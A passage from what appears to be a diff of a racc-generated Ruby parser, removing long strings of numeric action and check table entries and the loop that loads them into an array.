-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,,22,23,24,32,,86,,,33,425,40,45,46,47,48,,111,,,,92,,,28,,', -'42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,', -'33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,', -',,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28', -',,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86', -',,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,', -',,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,', -',28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32', -',86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,', -',,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,', -'92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,,22,23,24', -'32,,86,,,33,251,40,45,46,47,48,,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,258,86,,,33,40,,45,46,47,48', -'111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22', -'23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,', -',43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47', -'48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87', -'22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,', -',,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46', -'47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26', -'87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,', -',,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45', -'46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25', -'26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41', -',,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,', -'45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27', -'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,', -'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40', -',45,46,47,48,111,,,,92,,,28,,,42,316,41,,,,,,,,,,,43,44,,,,,,,,,,,,', -',,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,', -',42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,', -',33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,', -',,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,', -'28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,', -'86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,', -',,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92', -',,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32', -',86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,', -',,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,', -'92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24', -',32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44', -',,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43', -'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111', -',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23', -'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,22,23,24,,,', -',,,,43,44,,,,,111,22,23,24,92,,,28,,,27,25,26,87,,,,111,32,,86,92,,33', -'28,,45,46,47,48,,,,,,,,,,27,25,26,87,,,,,32,,86,,,33,,,,27,25,26,87', -',,,,32,,86,,,33' ] - racc_action_table = arr = Array.new(8460, nil) - idx = 0 - clist.each do |str| - str.split(',', -1).each do |i| - arr[idx] = i.to_i unless i.empty? - idx += 1 - end - end - -clist = [ -'474,74,80,190,64,75,75,75,75,193,404,73,61,178,181,194,75,199,484,403', -'479,108,75,86,86,86,75,311,285,75,200,217,75,86,75,286,217,403,217,200', -'334,334,334,53,53,75,75,120,360,360,334,370,120,249,120,270,270,370', -'61,249,74,75,75,75,75,360,360,108,287,75,73,75,64,311,75,484,404,75', -'75,75,75,178,181,194,288,199,474,74,80,190,64,75,412,271,271,193,329', -'73,412,178,181,194,329,199,462,462,462,462,360,360,462,462,462,111,462', -'462,293,511,111,462,462,462,511,298,462,462,462,462,462,462,462,462', -'462,462,462,93,272,272,359,359,93,91,93,462,462,35,91,206,91,301,35', -'206,35,279,279,359,359,441,37,462,462,462,462,37,340,37,340,462,440', -'462,279,279,462,441,441,462,462,462,462,307,473,473,473,473,440,440', -'473,473,473,462,473,473,337,483,337,473,483,473,359,359,473,473,473', -'473,473,473,473,473,473,473,473,308,302,279,279,302,441,441,309,473', -'473,283,283,283,283,210,210,440,440,55,55,434,357,357,434,473,473,473', -'473,444,444,444,444,473,443,473,55,55,473,357,357,473,473,473,473,310', -'471,471,471,471,443,443,471,471,471,473,471,471,346,346,346,471,471', -'471,140,140,471,471,471,471,471,471,471,471,471,471,471,406,323,55,55', -'323,357,357,408,471,471,306,306,306,306,100,100,443,443,102,102,324', -'280,280,324,471,471,471,471,56,56,56,56,471,442,471,102,102,471,280', -'280,471,471,471,471,409,469,469,469,469,442,442,469,469,469,471,469', -'469,347,347,347,469,469,469,350,350,469,469,469,469,469,469,469,469', -'469,469,469,314,300,102,102,300,280,280,254,469,469,103,103,103,103', -'349,349,442,442,281,281,88,282,282,88,469,469,469,469,361,361,361,361', -'469,305,469,281,281,469,282,282,469,469,469,469,250,475,475,475,475', -'305,305,475,475,475,469,475,475,113,430,113,475,430,475,348,348,475', -'475,475,475,475,475,475,475,475,475,475,221,424,281,281,424,282,282', -'505,475,475,505,410,259,421,410,259,305,305,358,358,465,422,423,465', -'475,475,475,475,368,215,429,368,475,315,475,358,358,475,208,207,475', -'475,475,475,367,0,0,0,0,366,365,0,0,0,475,0,0,278,278,278,0,0,0,364', -'363,0,0,0,0,0,0,0,0,0,0,0,203,57,358,358,58,95,95,185,0,0,95,95,95,95', -'95,95,95,95,95,95,95,277,277,277,0,0,0,0,276,276,276,256,0,256,0,183', -'262,0,262,445,0,0,0,0,446,420,420,420,420,447,95,420,420,420,0,420,420', -'351,351,351,420,420,420,448,449,420,420,420,420,420,420,420,420,420', -'420,420,352,352,352,451,452,432,432,453,420,420,432,432,432,432,432', -'432,432,432,432,432,432,353,353,353,420,420,420,420,354,354,354,59,420', -'455,420,180,60,420,460,461,420,420,420,420,177,405,405,405,405,463,432', -'405,405,405,420,405,405,355,355,355,405,464,405,362,467,405,405,405', -'405,405,405,405,405,405,405,405,356,356,356,124,117,39,39,472,405,405', -'39,39,39,39,39,39,39,39,39,39,39,99,99,99,405,405,405,405,275,275,275', -'114,405,316,405,107,106,405,105,284,405,405,405,405,480,382,382,382', -'382,104,39,382,382,382,405,382,382,101,101,101,382,327,382,328,485,382', -'382,382,382,382,382,382,382,382,382,382,274,274,274,439,439,439,331', -'488,382,382,438,438,438,304,304,304,436,436,436,435,435,435,489,82,382', -'382,382,382,273,273,273,81,382,492,382,494,495,382,66,502,382,382,382', -'382,79,380,380,380,380,77,76,380,380,380,382,380,380,52,52,52,380,508', -'380,509,67,380,380,380,380,380,380,380,380,380,380,380,268,268,268,54', -'54,54,512,514,380,380,269,269,269,437,437,437,515,69,519,33,521,71,524', -'31,380,380,380,380,1,527,530,72,380,,380,,,380,,,380,380,380,380,,490', -'490,490,490,,,490,490,490,380,490,490,,,,490,490,490,,,490,490,490,490', -'490,490,490,490,490,490,490,,,,,,,,,490,490,,,,,,,,,,,,,,,490,490,490', -'490,,,,,490,,490,,,490,,,490,490,490,490,,491,491,491,491,,,491,491', -'491,490,491,491,,,,491,491,491,,,491,491,491,491,491,491,491,491,491', -'491,491,,,,,,,,,491,491,,,,,,,,,,,,,,,491,491,491,491,,,,,491,,491,', -',491,,,491,491,491,491,,496,496,496,496,,,496,496,496,491,496,496,,', -',496,496,496,,,496,496,496,496,496,496,496,496,496,496,496,,,,,,,,,496', -'496,,,,,,,,,,,,,,,496,496,496,496,,,,,496,,496,,,496,,,496,496,496,496', -',506,506,506,506,,,506,506,506,496,506,506,,,,506,,506,,,506,506,506', -'506,506,506,506,506,506,506,506,,,,,,,,,506,506,,,,,,,,,,,,,,,506,506', -'506,506,,,,,506,,506,,,506,,,506,506,506,506,,516,516,516,516,,,516', -'516,516,506,516,516,,,,516,516,516,,,516,516,516,516,516,516,516,516', -'516,516,516,,,,,,,,,516,516,,,,,,,,,,,,,,,516,516,516,516,,,,,516,,516', -',,516,,,516,516,516,516,,520,520,520,520,,,520,520,520,516,520,520,', -',,520,,520,,,520,520,520,520,520,520,520,520,520,520,520,,,,,,,,,520', -'520,,,,,,,,,,,,,,,520,520,520,520,,,,,520,,520,,,520,,,520,520,520,520', -',84,84,84,84,,,84,84,84,520,84,84,,,,84,,84,,,84,84,84,84,84,84,84,84', -'84,84,84,,,,,,,,,84,84,,,,,,,,,,,,,,,84,84,84,84,,,,,84,,84,,,84,,,84', -'84,84,84,,522,522,522,522,,,522,522,522,84,522,522,,,,522,,522,,,522', -'522,522,522,522,522,522,522,522,522,522,,,,,,,,,522,522,,,,,,,,,,,,', -',,522,522,522,522,,,,,522,,522,,,522,,,522,522,522,522,,65,65,65,65', -',,65,65,65,522,65,65,,,,65,65,65,,,65,65,65,65,65,65,65,65,65,65,65', -',,,,,,,,65,65,,,,,,,,,,,,,,,65,65,65,65,,,,,65,,65,,,65,,,65,65,65,65', -',525,525,525,525,,,525,525,525,65,525,525,,,,525,525,525,,,525,525,525', -'525,525,525,525,525,525,525,525,,,,,,,,,525,525,,,,,,,,,,,,,,,525,525', -'525,525,,,,,525,,525,,,525,,,525,525,525,525,,2,2,2,2,,,2,2,2,525,2', -'2,,,,2,2,2,,,2,2,2,2,2,2,2,2,2,2,2,,,,,,,,,2,2,,,,,,,,,,,,,,,2,2,2,2', -',,,,2,,2,,,2,,,2,2,2,2,,526,526,526,526,,,526,526,526,2,526,526,,,,526', -'526,526,,,526,526,526,526,526,526,526,526,526,526,526,,,,,,,,,526,526', -',,,,,,,,,,,,,,526,526,526,526,,,,,526,,526,,,526,,,526,526,526,526,', -'70,70,70,70,,,70,70,70,526,70,70,,,,70,,70,,,70,70,70,70,70,70,70,70', -'70,70,70,,,,,,,,,70,70,,,,,,,,,,,,,,,70,70,70,70,,,,,70,,70,,,70,,,70', -'70,70,70,,533,533,533,533,,,533,533,533,70,533,533,,,,533,303,533,,', -'533,533,533,533,533,533,533,533,533,533,533,,,,,,,303,303,533,533,,303', -'303,303,303,303,303,303,303,303,303,303,,,533,533,533,533,,396,396,396', -'533,,533,,,533,,396,533,533,533,533,,396,,,,396,,303,396,,533,396,,396', -',,,,,,,,,,396,396,,,,,,,,,,,,,,,396,396,396,396,32,32,32,,396,,396,', -',396,32,,396,396,396,396,32,,,,32,,,32,,,32,,32,,,,,,,,,,,32,32,,,,', -',,,,,,,,,,32,32,32,32,333,333,333,,32,,32,,,32,333,,32,32,32,32,333', -',,,333,,,333,,,333,,333,,,,,,,,,,,333,333,,,,,,,,,,,,,,,333,333,333', -'333,332,332,332,,333,,333,,,333,332,,333,333,333,333,332,,,,332,,,332', -',,332,,332,,,,,,,,,,,332,332,,,,,,,,,,,,,,,332,332,332,332,392,392,392', -',332,,332,,,332,392,,332,332,332,332,392,,,,392,,,392,,,392,,392,,,', -',,,,,,,392,392,,,,,,,,,,,,,,,392,392,392,392,393,393,393,,392,,392,', -',392,393,,392,392,392,392,393,,,,393,,,393,,,393,,393,,,,,,,,,,,393', -'393,,,,,,,,,,,,,,,393,393,393,393,78,78,78,,393,,393,,,393,78,,393,393', -'393,393,78,,,,78,,,78,,,78,,78,,,,,,,,,,,78,78,,,,,,,,,,,,,,,78,78,78', -'78,504,504,504,,78,,78,,,78,504,,78,78,78,78,504,,,,504,,,504,,,504', -',504,,,,,,,,,,,504,504,,,,,,,,,,,,,,,504,504,504,504,330,330,330,,504', -',504,,,504,330,,504,504,504,504,330,,,,330,,,330,,,330,,330,,,,,,,,', -',,330,330,,,,,,,,,,,,,,,330,330,330,330,394,394,394,,330,,330,,,330', -'394,,330,330,330,330,394,,,,394,,,394,,,394,,394,,,,,,,,,,,394,394,', -',,,,,,,,,,,,,394,394,394,394,40,40,40,,394,,394,,,394,40,,394,394,394', -'394,40,,,,40,,,40,,,40,,40,,,,,,,,,,,40,40,,,,,,,,,,,,,,,40,40,40,40', -'395,395,395,,40,,40,,,40,395,,40,40,40,40,395,,,,395,,,395,,,395,,395', -',,,,,,,,,,395,395,,,,,,,,,,,,,,,395,395,395,395,391,391,391,,395,,395', -',,395,391,,395,395,395,395,391,,,,391,,,391,,,391,,391,,,,,,,,,,,391', -'391,,,,,,,,,,,,,,,391,391,391,391,397,397,397,,391,,391,,,391,397,,391', -'391,391,391,397,,,,397,,,397,,,397,,397,,,,,,,,,,,397,397,,,,,,,,,,', -',,,,397,397,397,397,398,398,398,,397,,397,,,397,398,,397,397,397,397', -'398,,,,398,,,398,,,398,,398,,,,,,,,,,,398,398,,,,,,,,,,,,,,,398,398', -'398,398,399,399,399,,398,,398,,,398,399,,398,398,398,398,399,,,,399', -',,399,,,399,,399,,,,,,,,,,,399,399,,,,,,,,,,,,,,,399,399,399,399,400', -'400,400,,399,,399,,,399,400,,399,399,399,399,400,,,,400,,,400,,,400', -',400,,,,,,,,,,,400,400,,,,,,,,,,,,,,,400,400,400,400,401,401,401,,400', -',400,,,400,401,,400,400,400,400,401,,,,401,,,401,,,401,,401,,,,,,,,', -',,401,401,,,,,,,,,,,,,,,401,401,401,401,487,487,487,,401,,401,,,401', -'487,,401,401,401,401,487,,,,487,,,487,,,487,,487,,,,,,,,,,,487,487,', -',,,,,,,,,,,,,487,487,487,487,390,390,390,,487,,487,,,487,390,,487,487', -'487,487,390,,,,390,,,390,,,390,,390,,,,,,,,,,,390,390,,,,,,,,,,,,,,', -'390,390,390,390,389,389,389,,390,,390,,,390,389,,390,390,390,390,389', -',,,389,,,389,,,389,,389,,,,,,,,,,,389,389,,,,,,,,,,,,,,,389,389,389', -'389,388,388,388,,389,,389,,,389,388,,389,389,389,389,388,,,,388,,,388', -',,388,,388,,,,,,,,,,,388,388,,,,,,,,,,,,,,,388,388,388,388,371,371,371', -',388,,388,,,388,371,,388,388,388,388,371,,,,371,,,371,,,371,,371,,,', -',,,,,,,371,371,,,,,,,,,,,,,,,371,371,371,371,,481,481,481,371,,371,', -',371,371,481,371,371,371,371,,481,,,,481,,,481,,,481,,481,,,,,,,,,,', -'481,481,,,,,,,,,,,,,,,481,481,481,481,477,477,477,,481,,481,,,481,477', -',481,481,481,481,477,,,,477,,,477,,,477,,477,,,,,,,,,,,477,477,,,,,', -',,,,,,,,,477,477,477,477,476,476,476,,477,,477,,,477,476,,477,477,477', -'477,476,,,,476,,,476,,,476,,476,,,,,,,,,,,476,476,,,,,,,,,,,,,,,476', -'476,476,476,41,41,41,,476,,476,,,476,41,,476,476,476,476,41,,,,41,,', -'41,,,41,,41,,,,,,,,,,,41,41,,,,,,,,,,,,,,,41,41,41,41,419,419,419,,41', -',41,,,41,419,,41,41,41,41,419,,,,419,,,419,,,419,,419,,,,,,,,,,,419', -'419,,,,,,,,,,,,,,,419,419,419,419,374,374,374,,419,,419,,,419,374,,419', -'419,419,419,374,,,,374,,,374,,,374,,374,,,,,,,,,,,374,374,,,,,,,,,,', -',,,,374,374,374,374,112,112,112,,374,,374,,,374,112,,374,374,374,374', -'112,,,,112,,,112,,,112,,112,,,,,,,,,,,112,112,,,,,,,,,,,,,,,112,112', -'112,112,,42,42,42,112,,112,,,112,112,42,112,112,112,112,,42,,,,42,,', -'42,,,42,,42,,,,,,,,,,,42,42,,,,,,,,,,,,,,,42,42,42,42,43,43,43,,42,', -'42,,,42,43,,42,42,42,42,43,,,,43,,,43,,,43,,43,,,,,,,,,,,43,43,,,,,', -',,,,,,,,,43,43,43,43,116,116,116,,43,,43,,,43,116,,43,43,43,43,116,', -',,116,,,116,,,116,,116,,,,,,,,,,,116,116,,,,,,,,,,,,,,,116,116,116,116', -'44,44,44,,116,,116,,,116,44,,116,116,116,116,44,,,,44,,,44,,,44,,44', -',,,,,,,,,,44,44,,,,,,,,,,,,,,,44,44,44,44,119,119,119,,44,,44,,,44,119', -',44,44,44,44,119,,,,119,,,119,,,119,,119,,,,,,,,,,,119,119,,,,,,,,,', -',,,,,119,119,119,119,376,376,376,,119,119,119,,,119,376,,119,119,119', -'119,376,,,,376,,,376,,,376,,376,,,,,,,,,,,376,376,,,,,,,,,,,,,,,376', -'376,376,376,123,123,123,,376,,376,,,376,123,,376,376,376,376,123,,,', -'123,,,123,,,123,,123,,,,,,,,,,,123,123,,,,,,,,,,,,,,,123,123,123,123', -'45,45,45,,123,,123,,,123,45,,123,123,123,123,45,,,,45,,,45,,,45,,45', -',,,,,,,,,,45,45,,,,,,,,,,,,,,,45,45,45,45,127,127,127,,45,,45,,,45,127', -',45,45,45,45,127,,,,127,,,127,,,127,,127,,,,,,,,,,,127,127,,,,,,,,,', -',,,,,127,127,127,127,46,46,46,,127,,127,,,127,46,,127,127,127,127,46', -',,,46,,,46,,,46,,46,,,,,,,,,,,46,46,,,,,,,,,,,,,,,46,46,46,46,150,150', -'150,,46,,46,,,46,150,,46,46,46,46,150,,,,150,,,150,,,150,,150,,,,,,', -',,,,150,150,,,,,,,,,,,,,,,150,150,150,150,151,151,151,,150,,150,,,150', -'151,,150,150,150,150,151,,,,151,,,151,,,151,,151,,,,,,,,,,,151,151,', -',,,,,,,,,,,,,151,151,151,151,152,152,152,,151,,151,,,151,152,,151,151', -'151,151,152,,,,152,,,152,,,152,,152,,,,,,,,,,,152,152,,,,,,,,,,,,,,', 